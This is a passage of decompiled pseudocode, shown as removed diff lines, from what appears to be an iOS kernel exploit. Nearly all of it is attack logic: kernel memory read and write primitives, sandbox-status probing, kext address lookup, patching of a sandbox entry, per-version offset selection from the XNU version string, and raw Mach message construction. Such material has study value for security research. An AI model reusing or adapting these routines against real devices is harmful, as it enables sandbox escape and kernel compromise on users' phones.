= v5; - *(_QWORD *)(a1 + 0x18E8) = v15[0]; - } - sub_35ECC(a1, v5, 0xA); - if ( *(int *)(a1 + 0x140) < 0x1C1B ) - { - v14 = 0LL; - v13 = 0; - v12 = 0LL; - v11 = 0; - if ( (unsigned int)sub_239D8(a1, &v14, &v13, &v12, &v11, 1) ) - { - if ( (unsigned int)sub_24368(a1, (__int16 *)v14, v13) ) - { - v10 = 0x786F62646E6153LL; - v15[0] = v14; - v15[1] = v13; - v15[2] = v12; - v15[3] = v11; - v6 = sub_40FB0((__int64)&v10, 0LL, (__int64)v15); - } - else - { - v6 = 0xFFFFFFFF; - } - if ( v14 ) - free(v14); - if ( v12 ) - free(v12); - } - else - { - v6 = 0xFFFFFFFF; - } - } - else - { - strcpy((char *)v15, "MobileBackup"); - v6 = sub_23940(a1, (__int64)v15); - } - sub_35AE0(a1, *(_DWORD *)(a1 + 0x37C), *(_QWORD *)(a1 + 0x3A8)); - if ( !v6 ) - krw_ctx_set_flag((_DWORD *)a1, 4); - } - } - } - } - else if ( krw_ctx_has_flag((_DWORD *)a1, 4) ) - { - v7 = sub_33FFC(a1, mach_task_self_); - if ( v7 ) - { - v8 = *(_QWORD *)(a1 + 0x18E8); - if ( v8 ) - { - sub_2A63C(a1, v7, v8); - if ( v9 ) - sub_36088((_DWORD *)a1, 4); - } - } - } - } -} -// 23DA8: variable 'v4' is possibly undefined -// 23E54: variable 'v9' is possibly undefined - -//----- (0000000000023F78) ---------------------------------------------------- -__int64 __fastcall sub_23F78(__int64 a1, void (__fastcall *a2)(__int64), __int64 a3) -{ - __int64 result; // x0 - __int64 v7; // x20 - mach_vm_address_t v8; // x23 - - result = 0LL; - if ( a1 ) - { - if ( a2 ) - { - result = sub_34D14(a1, mach_task_self_); - if ( (_DWORD)result ) - { - v7 = *(_QWORD *)(a1 + 0x3A8); - if ( !v7 ) - { - a2(a3); - return 1LL; - } - v8 = *(_QWORD *)(a1 + 0x18F0) + (unsigned int)((*(_DWORD *)(a1 + 0x37C) + 1) * *(_DWORD *)(a1 + 0x168)); - if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF - || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF - || *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF - || !*(_QWORD *)(a1 + 0x218) - || *(_BYTE *)(a1 + 0xC) ) - { - result = kwrite64( - a1, - *(_QWORD *)(a1 + 0x18F0) + (unsigned int)((*(_DWORD *)(a1 + 0x37C) + 1) * *(_DWORD *)(a1 + 0x168)), - 0LL); - if ( !(_DWORD)result ) - return result; - goto LABEL_11; - } - result = sub_2A0D8( - a1, - *(_QWORD *)(a1 + 0x18F0) + (unsigned int)((*(_DWORD *)(a1 + 0x37C) + 1) * *(_DWORD *)(a1 + 0x168)), - 0LL); - if ( (_DWORD)result ) - { -LABEL_11: - a2(a3); - if ( *(_DWORD *)(a1 + 0x1930) == 0xFFFFFFFF - || *(_DWORD *)(a1 + 0x1934) == 0xFFFFFFFF - || *(_DWORD *)(a1 + 0x1940) == 0xFFFFFFFF - || !*(_QWORD *)(a1 + 0x218) - || *(_BYTE *)(a1 + 0xC) ) - { - result = kwrite64(a1, v8, v7); - if ( !(_DWORD)result ) - return result; - } - else - { - result = sub_2A0D8(a1, v8, v7); - if ( !(_DWORD)result ) - return result; - } - return 1LL; - } - } - } - } - return result; -} - -//----- (00000000000240CC) ---------------------------------------------------- -__int64 __fastcall check_sandboxed(int a1) -{ - __int64 result; // x0 - int v3; // w0 - bool v4; // zf - int v5; // w0 - - getpid(); - result = sandbox_check(); - if ( (_DWORD)result ) - { - getpid(); - if ( (unsigned int)sandbox_check() ) - return 0LL; - getpid(); - v3 = sandbox_check(); - v4 = v3 == 0; - result = v3 != 0; - v4 = v4 || a1 == 0; - if ( !v4 ) - { - getpid(); - result = sandbox_check(); - if ( (_DWORD)result != 1 ) - { - v5 = socket(2, 2, 0); - if ( v5 != 0xFFFFFFFF ) - { - close(v5); - return 0LL; - } - return 1LL; - } - } - } - return result; -} - -//----- (00000000000241BC) ---------------------------------------------------- -__int64 __fastcall another_sandbox_check(__int64 a1) -{ - int v2; // w8 - __int64 result; // x0 - - getpid(); - v2 = sandbox_check(); - if ( !v2 || (result = 0LL, v2 == 1) ) - { - *(_BYTE *)(a1 + 0xA) = v2; - return 1LL; - } - return result; -} - -//----- (0000000000024208) ---------------------------------------------------- -unsigned __int64 __fastcall sub_24208(__int64 a1) -{ - unsigned __int64 result; // x0 - __int64 v3; // x8 - _BOOL4 has_flag; // w0 - __int64 v5; // x8 - __int64 v6; // x20 - __int64 v7; // x21 - unsigned __int64 v8; // x21 - int v9; // w8 - __int64 v10; // x1 - unsigned int v11; // w0 - __int64 v12; // x8 - __int64 v13[3]; // [xsp+0h] [xbp-50h] BYREF - __int128 v14; // [xsp+18h] [xbp-38h] BYREF - - result = *(_QWORD *)(a1 + 0x5C0); - if ( result ) - return result; - v3 = *(_QWORD *)(a1 + 0x118); - if ( v3 ) - { - if ( *(_QWORD *)(a1 + 0x120) ) - { - result = *(_QWORD *)(v3 + 0x130); - if ( result ) - { -LABEL_6: - *(_QWORD *)(a1 + 0x5C0) = result; - return result; - } - } - } - has_flag = krw_ctx_has_flag((_DWORD *)a1, 0x1000); - v5 = 0x19F8LL; - if ( !has_flag ) - v5 = 0x1D18LL; - v6 = *(_QWORD *)(a1 + v5); - if ( !v6 ) - return 0LL; - sub_19C34("__TEXT", v6, "__cstring", &v14); - result = sub_1E0C8(&v14, "appleevent-send", 0, 1); - if ( result ) - { - v7 = result; - sub_19C34("__DATA_CONST", v6, "__const", v13); - result = sub_1E1B8(v13, v7, *(unsigned __int8 *)(v6 + 0x34)); - if ( result ) - { - v8 = result; - v9 = *(_DWORD *)(a1 + 0x140); - if ( v9 < 0x1C1B ) - { - if ( v9 < 0x1809 ) - { - v11 = sub_1984C(); - v10 = sub_19B94(v6, v8 - 2LL * v11); - } - else - { - v10 = result - 0x80; - } - } - else - { - v10 = result - 0xB8; - } - result = validate_addr(a1, v10); - if ( result ) - { - v12 = *(_QWORD *)(a1 + 0x118); - if ( v12 ) - { - if ( *(_QWORD *)(a1 + 0x120) ) - *(_QWORD *)(v12 + 0x130) = result; - } - goto LABEL_6; - } - } - } - return result; -} -// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); - -//----- (0000000000024368) ---------------------------------------------------- -void *__fastcall sub_24368(__int64 a1, __int16 *a2, __int64 a3) -{ - int v3; // w8 - __int64 v7; // x23 - unsigned __int64 v8; // x26 - unsigned __int64 v9; // x8 - unsigned __int64 v10; // x25 - void *result; // x0 - int v12; // w8 - int v13; // w9 - __int64 v14; // x22 - void *v15; // x21 - int v16; // w24 - char *v17; // x25 - int v18; // w26 - unsigned int v19; // w4 - unsigned int v20; // w0 - unsigned int v21; // w23 - unsigned int v22; // [xsp+Ch] [xbp-44h] BYREF - - v3 = *(_DWORD *)(a1 + 0x140); - if ( v3 != 0x1C1B && v3 != 0x1809 ) - return 0LL; - if ( (unsigned int)a3 < 0xC ) - return 0LL; - if ( *a2 < 0 ) - return 0LL; - v7 = 2LL * *((unsigned __int8 *)a2 + 5); - v8 = *((unsigned __int8 *)a2 + 0xA) + (unsigned __int64)(unsigned __int16)a2[4] + *((unsigned __int8 *)a2 + 0xB); - v9 = v7 + 2 * v8; - v10 = v9 + 0xC; - if ( (int)v9 + 0xC > (unsigned int)a3 ) - return 0LL; - v12 = v10 + 2 * *((unsigned __int8 *)a2 + 4); - v13 = 8 - (v12 & 6); - if ( (v12 & 6) == 0 ) - v13 = 0; - v14 = (unsigned int)(v13 + v12); - v22 = v13 + v12; - result = calloc((unsigned int)(8 * a3), 1uLL); - if ( result ) - { - v15 = result; - if ( (unsigned int)v10 < (unsigned int)v14 ) - { - v16 = 0; - v17 = (char *)a2 + v10; - v18 = 2 * v8 + v7 + 0xC; - while ( *(_WORD *)&v17[v16] ) - { - v19 = v14 + 8 * *(unsigned __int16 *)&v17[v16]; - if ( v19 < v18 + v16 ) - { - v21 = 0xFFFFFFFE; - goto LABEL_21; - } - v20 = sub_244C8((__int64)a2, a3, (__int64)v15, v14, v19, &v22); - if ( v20 ) - { - v21 = v20; - goto LABEL_21; - } - v16 += 2; - if ( v18 + v16 >= v22 ) - break; - } - } - v21 = 0; -LABEL_21: - free(v15); - return (void *)(v21 == 0); - } - return result; -} - -//----- (00000000000244C8) ---------------------------------------------------- -__int64 __fastcall sub_244C8(__int64 a1, __int64 a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int *a6) -{ - __int64 result; // x0 - unsigned __int64 v8; // x8 - __int64 v13; // x24 - __int16 v14; // w8 - - if ( a5 + 8 > (unsigned int)a2 ) - return 0xFFFFFFFFLL; - v8 = (unsigned __int64)a5 >> 3; - if ( *(_BYTE *)(a3 + v8) ) - return 0LL; - *(_BYTE *)(a3 + v8) = 1; - if ( *a6 > a5 ) - *a6 = a5; - v13 = a1 + a5; - if ( *(_BYTE *)v13 == 1 ) - { - v14 = *(_WORD *)(v13 + 1); - if ( (v14 & 1) != 0 ) - *(_WORD *)(v13 + 1) = v14 & 0xFFFA; - return 0LL; - } - result = sub_244C8(a1, a2, a3, a4, (unsigned int)a4 + 8 * *(unsigned __int16 *)(v13 + 4), a6); - if ( !(_DWORD)result ) - { - result = sub_244C8(a1, a2, a3, a4, (unsigned int)a4 + 8 * *(unsigned __int16 *)(v13 + 6), a6); - if ( !(_DWORD)result ) - return 0LL; - } - return result; -} - -//----- (00000000000245BC) ---------------------------------------------------- -__int64 __fastcall get_kext_base_addr(__int64 a1, char *__s, _QWORD *a3) -{ - size_t v6; // x0 - __int64 result; // x0 - __int64 v8; // [xsp+8h] [xbp-28h] BYREF - - v6 = strlen(__s); - result = sub_24620(a1, __s, v6 + 1, &v8); - if ( (_DWORD)result ) - { - *a3 = v8; - return 1LL; - } - return result; -} - -//----- (0000000000024620) ---------------------------------------------------- -__int64 __fastcall sub_24620(__int64 a1, char *__s2, unsigned __int64 a3, __int64 *a4) -{ - size_t v5; // x21 - __int64 v8; // x0 - __int64 v9; // x0 - char *v10; // x23 - unsigned int v11; // w8 - __int64 v12; // x24 - const char *i; // x22 - __int64 v14; // x8 - __int64 v15; // x23 - __int64 v16; // x0 - __int64 v17; // x8 - __int64 v18; // x24 - char *v19; // x0 - __int64 v20; // x25 - __int64 v21; // x26 - _OWORD *v22; // x27 - __int128 v23; // q1 - __int128 v24; // q1 - unsigned int v26; // [xsp+4h] [xbp-ACh] BYREF - __int64 v27; // [xsp+8h] [xbp-A8h] BYREF - __int64 v28; // [xsp+10h] [xbp-A0h] BYREF - _OWORD v29[3]; // [xsp+18h] [xbp-98h] BYREF - __int128 v30; // [xsp+48h] [xbp-68h] - - v5 = a3; - v8 = *(_QWORD *)(a1 + 0x1A00); - if ( v8 ) - { - v9 = sub_19D20(v8, __s2, a3); - if ( v9 ) - { - *a4 = v9; - return 1LL; - } - } - v10 = *(char **)(a1 + 0x1D10); - if ( v10 ) - { - v11 = *(_DWORD *)(a1 + 0x1D08); -LABEL_6: - if ( v5 >= 0x40 ) - v5 = 0x40LL; - if ( v11 ) - { - v12 = v11; - for ( i = v10 + 8; strncmp(__s2, i, v5); i += 0x48 ) - { - if ( !--v12 ) - return 0LL; - } - *a4 = *((_QWORD *)i + 0xFFFFFFFF); - return 1LL; - } - return 0LL; - } - v14 = *(_QWORD *)(a1 + 0x118); - if ( !v14 || !*(_QWORD *)(a1 + 0x120) || (v15 = *(_QWORD *)(v14 + 0x108)) == 0 ) - { - v16 = sub_1E62C(*(__int64 **)(a1 + 0x19F8)); - if ( !v16 ) - return 0LL; - v15 = v16; - if ( !validate_addr(a1, v16) ) - return 0LL; - v17 = *(_QWORD *)(a1 + 0x118); - if ( v17 && *(_QWORD *)(a1 + 0x120) ) - *(_QWORD *)(v17 + 0x108) = v15; - } - if ( kread32_outptr(a1, v15 + 0x14, &v26) && v26 <= 0x400 ) - { - if ( (unsigned int)kread64(a1, v15 + 0x20, &v27) ) - { - if ( validate_addr(a1, v27) ) - { - v18 = v26; - v19 = (char *)calloc(0x48LL * v26, 1uLL); - if ( v19 ) - { - v10 = v19; - if ( (_DWORD)v18 ) - { - v20 = 0LL; - v21 = v27; - v22 = v19 + 8; - while ( (unsigned int)kread64(a1, v21 + (unsigned int)(*(_DWORD *)(a1 + 0x168) * v20), &v28) ) - { - if ( !validate_addr(a1, v28) ) - break; - if ( !(unsigned int)kread64(a1, v28 + 0x50, &v28) ) - break; - if ( !(unsigned int)kreadbuf_last_1(a1, v28 + 0x10, 0x40LL, (__int64)v29) ) - break; - HIBYTE(v30) = 0; - v23 = v29[1]; - *v22 = v29[0]; - v22[1] = v23; - v24 = v30; - v22[2] = v29[2]; - v22[3] = v24; - if ( !(unsigned int)kread64(a1, v28 + 0x9C, &v28) ) - break; - *((_QWORD *)v22 + 0xFFFFFFFF) = v28; - ++v20; - v22 = (_OWORD *)((char *)v22 + 0x48); - if ( v18 == v20 ) - { - v11 = v26; - goto LABEL_40; - } - } - free(v10); - return 0LL; - } - v11 = 0; -LABEL_40: - *(_QWORD *)(a1 + 0x1D10) = v10; - *(_DWORD *)(a1 + 0x1D08) = v11; - goto LABEL_6; - } - } - } - } - return 0LL; -} -// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); - -//----- (00000000000248A4) ---------------------------------------------------- -__int64 __fastcall sub_248A4(__int64 a1, char *a2, unsigned __int64 a3, _QWORD *a4) -{ - __int64 result; // x0 - __int64 v6; // [xsp+8h] [xbp-18h] BYREF - - result = sub_24620(a1, a2, a3, &v6); - if ( (_DWORD)result ) - { - *a4 = v6; - return 1LL; - } - return result; -} - -//----- (00000000000248E4) ---------------------------------------------------- -__int64 __fastcall sub_248E4(__int64 a1) -{ - __int64 result; // x0 - - if ( !a1 ) - return 0xAD001LL; - result = 0LL; - *(_QWORD *)a1 = 0LL; - *(_QWORD *)(a1 + 8) = 0LL; - *(_DWORD *)(a1 + 0x10) = 0; - return result; -} - -//----- (0000000000024908) ---------------------------------------------------- -__int64 __fastcall sub_24908(__int64 a1) -{ - void *v2; // x0 - __int64 result; // x0 - - if ( !a1 ) - return 0xAD001LL; - v2 = *(void **)a1; - if ( v2 ) - free(v2); - result = 0LL; - *(_QWORD *)a1 = 0LL; - *(_QWORD *)(a1 + 8) = 0LL; - *(_DWORD *)(a1 + 0x10) = 0; - return result; -} - -//----- (0000000000024954) ---------------------------------------------------- -double __fastcall sub_24954(__int64 a1, int a2) -{ - double result; // d0 - __int64 v5; // x8 - - if ( !(unsigned int)sub_249B8(a1, 0xCu) ) - { - v5 = *(unsigned int *)(a1 + 8) + *(_QWORD *)a1; - *(_DWORD *)v5 = a2; - result = 2.64227521e-308; - *(_QWORD *)(v5 + 4) = 0x13000000000000LL; - *(_DWORD *)(a1 + 8) += 0xC; - ++*(_DWORD *)(a1 + 0x10); - } - return result; -} - -//----- (00000000000249B8) ---------------------------------------------------- -__int64 __fastcall sub_249B8(__int64 a1, unsigned int a2) -{ - int v2; // w8 - int v3; // w9 - __int64 v4; // x19 - unsigned int v6; // w21 - void *v7; // x0 - int v8; // w8 - - v2 = *(_DWORD *)(a1 + 8); - v3 = *(_DWORD *)(a1 + 0xC); - if ( v3 - v2 >= a2 ) - return 0LL; - v4 = 0xAD009LL; - if ( a2 <= 0xFFFFFBFF ) - { - if ( v3 ) - { - v6 = a2 + 0x400; - v7 = realloc(*(void **)a1, v2 + a2 + 0x400); - if ( !v7 ) - return v4; - } - else - { - v6 = a2 + 0x41C; - v7 = calloc(a2 + 0x41C, 1uLL); - if ( !v7 ) - return v4; - } - *(_QWORD *)a1 = v7; - v8 = *(_DWORD *)(a1 + 8); - *(_DWORD *)(a1 + 0xC) = v8 + v6; - if ( !v8 ) - { - v4 = 0LL; - *(_DWORD *)(a1 + 8) = 0x1C; - return v4; - } - return 0LL; - } - return 0xAD00CLL; -} - -//----- (0000000000024A64) ---------------------------------------------------- -__int64 __fastcall sub_24A64(__int64 a1, __int64 a2, int a3) -{ - __int64 result; // x0 - __int64 v7; // x8 - - result = sub_249B8(a1, 0x10u); - if ( !(_DWORD)result ) - { - v7 = *(unsigned int *)(a1 + 8) + *(_QWORD *)a1; - *(_QWORD *)v7 = a2; - *(_DWORD *)(v7 + 8) = 0x2130000; - *(_DWORD *)(v7 + 0xC) = a3; - *(_DWORD *)(a1 + 8) += 0x10; - ++*(_DWORD *)(a1 + 0x10); - } - return result; -} - -//----- (0000000000024AD0) ---------------------------------------------------- -__int64 __fastcall sub_24AD0(__int64 a1, const void *a2, unsigned int a3) -{ - __int64 v6; // x21 - - v6 = sub_249B8(a1, a3); - if ( !(_DWORD)v6 ) - { - memcpy((void *)(*(unsigned int *)(a1 + 8) + *(_QWORD *)a1), a2, a3); - *(_DWORD *)(a1 + 8) += a3; - } - return v6; -} - -//----- (0000000000024B38) ---------------------------------------------------- -__int64 __fastcall sub_24B38(__int64 a1, mach_port_t a2, mach_port_t a3, mach_msg_id_t a4) -{ - __int64 result; // x0 - mach_msg_header_t *v6; // x10 - mach_msg_bits_t v7; // w11 - int v8; // w9 - mach_msg_size_t v9; // w9 - mach_msg_return_t v10; // w0 - - result = 0xAD001LL; - if ( a1 ) - { - v6 = *(mach_msg_header_t **)a1; - if ( *(_QWORD *)a1 ) - { - v7 = *(_DWORD *)(a1 + 0x10); - if ( v7 ) - v8 = 0x80001514; - else - v8 = 0x1514; - v6->msgh_bits = v8; - v9 = *(_DWORD *)(a1 + 8); - v6->msgh_size = v9; - v6->msgh_remote_port = a3; - v6->msgh_local_port = a2; - v6->msgh_voucher_port = 0; - v6->msgh_id = a4; - v6[1].msgh_bits = v7; - v10 = mach_msg(*(mach_msg_header_t **)a1, 0x40001, v9, 0, 0, 0, 0); - if ( v10 ) - return v10 | 0x80000000; - else - return 0LL; - } - } - return result; -} - -//----- (0000000000024BC0) ---------------------------------------------------- -double __fastcall sub_24BC0(__int64 a1) -{ - char *v2; // x0 - char *v3; // x0 - double result; // d0 - __int64 v5; // x8 - unsigned __int64 v6; // x22 - int v7; // w8 - int v8; // w8 - char v9; // [xsp+30h] [xbp-560h] BYREF - char v10; // [xsp+34h] [xbp-55Ch] BYREF - __int64 v11; // [xsp+38h] [xbp-558h] BYREF - __int64 v12; // [xsp+40h] [xbp-550h] BYREF - utsname v13; // [xsp+48h] [xbp-548h] BYREF - - uname(&v13); - *(_QWORD *)a1 = strdup(v13.version); - v11 = 0LL; - v12 = 0LL; - v2 = strstr(v13.version, "xnu-"); - if ( sscanf(v2, "xnu-%d.%d.%d~%d", &v11, (char *)&v11 + 4, &v12, (char *)&v12 + 4) == 4 - || (v3 = strstr(v13.version, "xnu-"), - sscanf(v3, "xnu-%d.%d.%d.%d.%d~%d", &v11, (char *)&v11 + 4, &v12, &v9, &v10, (char *)&v12 + 4) == 6) ) - { - v5 = 0LL; - v6 = 0LL; - do - { - v6 = *(int *)((char *)&v11 + v5) + 0x3E8 * v6; - v5 += 4LL; - } - while ( v5 != 0x10 ); - *(_QWORD *)(a1 + 8) = v6; - *(_DWORD *)(a1 + 0x24) = 0x26; - if ( strstr(v13.version, "T8120") ) - v7 = 0x2E; - else - v7 = 0x26; - *(_DWORD *)(a1 + 0x24) = v7; - if ( v6 <= 0x74B4D4047FFLL ) - { - if ( v6 < 0x73835AB9470LL ) - v8 = 0x68; - else - v8 = 0x58; - } - else - { - v8 = 0x48; - } - *(_DWORD *)(a1 + 0x20) = v8; - *(_QWORD *)&result = 0x30000000060LL; - *(_OWORD *)(a1 + 0x10) = xmmword_43690; - } - return result; -} -// 43690: using guessed type __int128 xmmword_43690; - -//----- (0000000000024D64) ---------------------------------------------------- -const __CFDictionary *__fastcall sub_24D64(const char *a1) -{ - const __CFDictionary *result; // x0 - __int64 vars8; // [xsp+8h] [xbp+8h] - - result = IOServiceMatching(a1); - if ( result ) - { - if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) - __break(0xC471u); - return (const __CFDictionary *)IOServiceGetMatchingService(kIOMasterPortDefault, result); - } - return result; -} -// 24D90: variable 'vars8' is possibly undefined - -//----- (0000000000024DA8) ---------------------------------------------------- -__int64 __fastcall sub_24DA8( - unsigned int a1, - __int64 a2, - __int64 a3, - unsigned int a4, - unsigned int a5, - const void *a6, - int a7) -{ - mach_port_t reply_port; // w0 - mach_port_t v14; // w21 - __int64 v15; // x0 - int v16; // w8 - int v17; // w9 - int v18; // w23 - _DWORD *v19; // x8 - mach_port_t msgh_remote_port; // w10 - mach_msg_size_t msgh_size; // w8 - char v22; // w9 - mach_msg_header_t v24[2]; // [xsp+0h] [xbp-170h] BYREF - __int128 v25; // [xsp+30h] [xbp-140h] - __int128 v26; // [xsp+40h] [xbp-130h] - __int128 v27; // [xsp+50h] [xbp-120h] - __int128 v28; // [xsp+60h] [xbp-110h] - __int128 v29; // [xsp+70h] [xbp-100h] - __int128 v30; // [xsp+80h] [xbp-F0h] - __int128 v31; // [xsp+90h] [xbp-E0h] - __int128 v32; // [xsp+A0h] [xbp-D0h] - __int128 v33; // [xsp+B0h] [xbp-C0h] - __int128 v34; // [xsp+C0h] [xbp-B0h] - __int128 v35; // [xsp+D0h] [xbp-A0h] - __int128 v36; // [xsp+E0h] [xbp-90h] - __int128 v37; // [xsp+F0h] [xbp-80h] - __int128 v38; // [xsp+100h] [xbp-70h] - - v37 = 0u; - v38 = 0u; - v35 = 0u; - v36 = 0u; - v33 = 0u; - v34 = 0u; - v31 = 0u; - v32 = 0u; - v29 = 0u; - v30 = 0u; - v27 = 0u; - v28 = 0u; - v25 = 0u; - v26 = 0u; - memset(v24, 0, sizeof(v24)); - reply_port = mig_get_reply_port(); - if ( reply_port ) - { - v14 = reply_port; - v24[0].msgh_bits = 0x80001513; - *(_QWORD *)&v24[0].msgh_remote_port = __PAIR64__(reply_port, a1); - *(_QWORD *)&v24[0].msgh_id = 0x200000B36LL; - *(_QWORD *)&v24[1].msgh_size = a3; - v24[1].msgh_local_port = 0x1000000; - *(_QWORD *)&v24[1].msgh_voucher_port = __PAIR64__(a5, a4); - DWORD1(v25) = 0x140000; - *((NDR_record_t *)&v25 + 1) = NDR_record; - v15 = __strlcpy_chk(); - v16 = v15 + 1; - v17 = 8 - ((v15 + 1) & 7); - if ( ((v15 + 1) & 7) == 0 ) - v17 = 0; - v18 = v17 + v16; - DWORD1(v26) = v17 + v16; - v19 = (mach_msg_bits_t *)((char *)&v24[0].msgh_bits + (unsigned int)(v17 + v16)); - v19[0x12] = a4; - v19[0x13] = a7; - memcpy(v19 + 0x14, a6, (unsigned int)(8 * a7)); - if ( mach_msg(v24, 3, v18 + 8 * a7 + 0x50, 0x110u, v14, 0, 0) ) - { - mig_dealloc_reply_port(v14); - msgh_remote_port = 0; - msgh_size = 0; - v22 = 0; - } - else if ( v24[0].msgh_id == 0xB9A ) - { - if ( (v24[0].msgh_bits & 0x80000000) != 0 && v24[1].msgh_bits == 1 ) - { - msgh_remote_port = 0; - v22 = 1; - msgh_size = v24[1].msgh_size; - } - else - { - msgh_size = 0; - v22 = 1; - msgh_remote_port = v24[1].msgh_remote_port; - } - } - else - { - msgh_size = 0; - v22 = 1; - msgh_remote_port = 0xFFFFFED3; - } - } - else - { - msgh_remote_port = 0; - msgh_size = 0; - v22 = 1; - } - if ( ((unsigned __int8)v22 & (msgh_remote_port == 0) & (msgh_size != 0) & (msgh_size != 0xFFFFFFFF)) != 0 ) - return msgh_size; - else - return 0LL; -} - -//----- (0000000000024FC0) ---------------------------------------------------- -__int64 __fastcall sub_24FC0(__int64 a1, unsigned int a2, mach_port_name_t *a3) -{ - host_t v6; // w0 - __int64 result; // x0 - mach_port_name_t name; // [xsp+8h] [xbp-28h] BYREF - io_master_t io_master; // [xsp+Ch] [xbp-24h] BYREF - - v6 = mach_host_self(); - if ( !host_get_io_master(v6, &io_master) && !mach_port_allocate(mach_task_self_, 1u, &name) ) - { - result = sub_24DA8(io_master, (__int64)"IOServicePublish", a1, a2, name, 0LL, 0); - if ( (_DWORD)result ) - { - *a3 = name; - return result; - } - mach_port_destroy(mach_task_self_, name); - } - return 0LL; -} - -//----- (0000000000025068) ---------------------------------------------------- -bool __fastcall sub_25068(thread_act_t a1, thread_policy_t policy_info) -{ - return !thread_policy_set(a1, 2u, policy_info, 4u) && thread_policy_set(a1, 3u, policy_info + 4, 1u) == 0; -} - -//----- (00000000000250C4) ---------------------------------------------------- -bool __fastcall sub_250C4(thread_act_t a1, unsigned int a2) -{ - unsigned __int64 v4; // d0 - unsigned __int64 v5; // d1 - double v7; // d0 - mach_timebase_info v8; // [xsp+0h] [xbp-30h] BYREF - integer_t policy_info[3]; // [xsp+8h] [xbp-28h] BYREF - __int64 v10; // [xsp+14h] [xbp-1Ch] - - if ( mach_timebase_info(&v8) ) - return 0LL; - LODWORD(v5) = v8.numer; - LODWORD(v4) = v8.denom; - v7 = (double)v4 / (double)v5 * 1000000.0; - policy_info[0] = (unsigned int)(v7 * (double)a2); - policy_info[1] = (unsigned int)(v7 * 50.0); - policy_info[2] = policy_info[0]; - v10 = 0x7F00000000LL; - return sub_25068(a1, policy_info); -} -// 250F8: variable 'v4' is possibly undefined -// 250FC: variable 'v5' is possibly undefined - -//----- (000000000002515C) ---------------------------------------------------- -bool __fastcall sub_2515C(thread_act_t a1) -{ - return sub_250C4(a1, 0x32u); -} - -//----- (0000000000025164) ---------------------------------------------------- -__int64 __fastcall sub_25164(__int64 a1, unsigned int a2) -{ - __int64 result; // x0 - __int64 v4; // x9 - - result = 0xAD008LL; - v4 = *(_QWORD *)(a1 + 0x118); - if ( v4 && *(_QWORD *)(a1 + 0x120) ) - { - if ( a2 > 0x3F ) - { - return 0x28011LL; - } - else - { - result = 0LL; - atomic_store(0, (unsigned __int8 *)(v4 + a2)); - } - } - return result; -} - -//----- (00000000000251A4) ---------------------------------------------------- -__int64 __fastcall sub_251A4(__int64 a1, unsigned int a2, unsigned int a3) -{ - __int64 v3; // x19 - __int64 v4; // x25 - uint64_t v8; // x0 - uint64_t v9; // x22 - atomic_uchar *v10; // x25 - - v3 = 0xAD008LL; - v4 = *(_QWORD *)(a1 + 0x118); - if ( v4 && *(_QWORD *)(a1 + 0x120) ) - { - if ( a2 > 0x3F ) - { - return 0x28011LL; - } - else - { - v8 = mach_absolute_time(); - if ( (atomic_exchange((atomic_uchar *volatile)(v4 + a2), 1u) & 1) != 0 ) - { - v9 = v8; - v10 = (atomic_uchar *)(v4 + a2); - while ( !a3 - || a3 >= (mach_absolute_time() - v9) - * *(unsigned int *)(a1 + 0x25C) - / *(unsigned int *)(a1 + 0x260) - / 0xF4240 ) - { - thread_switch(0, 2, 1u); - if ( (atomic_exchange(v10, 1u) & 1) == 0 ) - return 0LL; - } - return 0xAD020LL; - } - else - { - return 0LL; - } - } - } - return v3; -} - -//----- (0000000000025294) ---------------------------------------------------- -__int64 __fastcall fd_close(int a1) -{ - __int64 result; // x0 - int v2; // w19 - int v3; // w8 - - result = close(a1); - if ( (_DWORD)result ) - { - v2 = *__error(); - v3 = *__error(); - if ( v2 < 0 ) - v3 = -v3; - return v3 | 0x40000000u; - } - return result; -} - -//----- (00000000000252D4) ---------------------------------------------------- -__int64 __fastcall fd_open_dev_null(int *a1) -{ - int v2; // w0 - int v3; // w8 - __int64 result; // x0 - int v5; // w19 - int v6; // w8 - - v2 = open("/dev/null", 0x20); - if ( v2 < 0 ) - { - v5 = *__error(); - v6 = *__error(); - if ( v5 < 0 ) - v6 = -v6; - return v6 | 0x40000000u; - } - else - { - v3 = v2; - result = 0LL; - *a1 = v3; - } - return result; -} - -//----- (0000000000025334) ---------------------------------------------------- -__int64 __fastcall sub_25334(int *a1, unsigned __int64 a2, void *a3, unsigned int a4, int a5) -{ - __int64 v5; // x20 - __int64 test; // x26 - _QWORD v13[3]; // [xsp+8h] [xbp-78h] BYREF - __int64 v14; // [xsp+20h] [xbp-60h] BYREF - __int64 v15; // [xsp+28h] [xbp-58h] - unsigned __int64 v16; // [xsp+30h] [xbp-50h] - int v17; // [xsp+3Ch] [xbp-44h] BYREF - - v5 = 0xAD001LL; - if ( a1[0x64C] != 0xFFFFFFFF - && a1[0x64D] != 0xFFFFFFFF - && a1[0x64E] != 0xFFFFFFFF - && a1[0x64F] != 0xFFFFFFFF - && validate_addr_maybe2((__int64)a1, a2) ) - { - v17 = 0xFFFFFFFF; - if ( a5 ) - { - test = fd_open_dev_null(&v17); - if ( (_DWORD)test ) - goto LABEL_15; - test = fd_read_test(a1 + 0x64C); - if ( (_DWORD)test ) - goto LABEL_15; - } - v14 = a4; - v15 = 0x1000000000000000LL; - v16 = a2; - test = sub_1F714((__int64)(a1 + 0x64C), &v14, 0x18uLL); - if ( !(_DWORD)test ) - { - test = sub_1F770(a1 + 0x64C, v13, 0x18uLL); - if ( !(_DWORD)test ) - { - if ( v14 ^ v13[0] | v15 ^ v13[1] | v16 ^ v13[2] ) - test = 0xAD014LL; - else - test = sub_1F770(a1 + 0x64E, a3, a4); - } - } - if ( a5 ) -LABEL_15: - fd_close(v17); - return test; - } - return v5; -} - -//----- (0000000000025498) ---------------------------------------------------- -__int64 __fastcall sub_25498(int *a1, unsigned __int64 a2, const void *a3, unsigned int a4, int a5) -{ - __int64 v5; // x20 - __int64 test; // x26 - _QWORD v13[3]; // [xsp+8h] [xbp-78h] BYREF - __int128 v14; // [xsp+20h] [xbp-60h] BYREF - unsigned __int64 v15; // [xsp+30h] [xbp-50h] - int v16; // [xsp+3Ch] [xbp-44h] BYREF - - v5 = 0xAD001LL; - if ( a1[0x64C] != 0xFFFFFFFF - && a1[0x64D] != 